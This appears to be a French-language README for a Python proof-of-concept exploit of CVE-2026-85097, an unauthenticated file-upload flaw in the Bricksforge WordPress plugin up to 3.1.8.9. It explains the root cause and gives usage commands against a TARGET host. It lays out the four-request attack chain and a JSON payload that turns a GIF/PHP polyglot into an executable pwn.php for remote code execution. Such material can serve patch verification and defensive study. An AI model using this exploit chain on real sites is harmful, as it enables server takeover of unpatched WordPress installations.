PoC Python exploitant CVE-2026-85097, une vulnérabilité de téléversement de fichier non authentifié dans Bricksforge <= 3.1.8.9, utilisant un polyglotte GIF/PHP et une incohérence d'URL pour parvenir à une RCE.
Téléversement de fichier non authentifié dans Bricksforge <= 3.1.8.9 → RCE PHP.
temporaryFileUploads.url est fourni par le client lors de la soumission du formulaire. Le type MIME est vérifié lors du premier téléversement, puis copy() utilise basename($url) comme nom de destination.
| CVE | CVE-2026-85097 |
| CWE | CWE-434 |
| CVSS | 9.8 / 10.0 |
| Affecté | Bricksforge <= 3.1.8.9 |
| Corrigé | 3.1.8.10, 4.0.1 |
| Auth | aucune |
pip3 install requests
python3 exploit.py --url http://TARGET
python3 exploit.py --url https://TARGET --insecure
python3 exploit.py --url http://TARGET --form-id FORM --post-id 12 --field-id file
Nécessite un Pro Form actif. Le champ de téléversement est facultatif.
POST /wp-admin/admin-ajax.php action=bricksforge_regenerate_noncePOST /wp-json/bricksforge/v1/form_file_upload — polyglotte GIF/PHP (MIME valide)POST /wp-json/bricksforge/v1/form_submit — file = .gif, url = .phpGET /wp-content/uploads/YYYY/MM/*.php — corps CVE-2026-85097-OK{
"temporaryFileUploads": [
{
"field": "form-field-file",
"file": {
"file": "/var/www/html/wp-content/uploads/bricksforge/tmp/xxxx.gif",
"url": "http://TARGET/wp-content/uploads/bricksforge/tmp/pwn.php",
"type": "image/gif"
}
}
]
}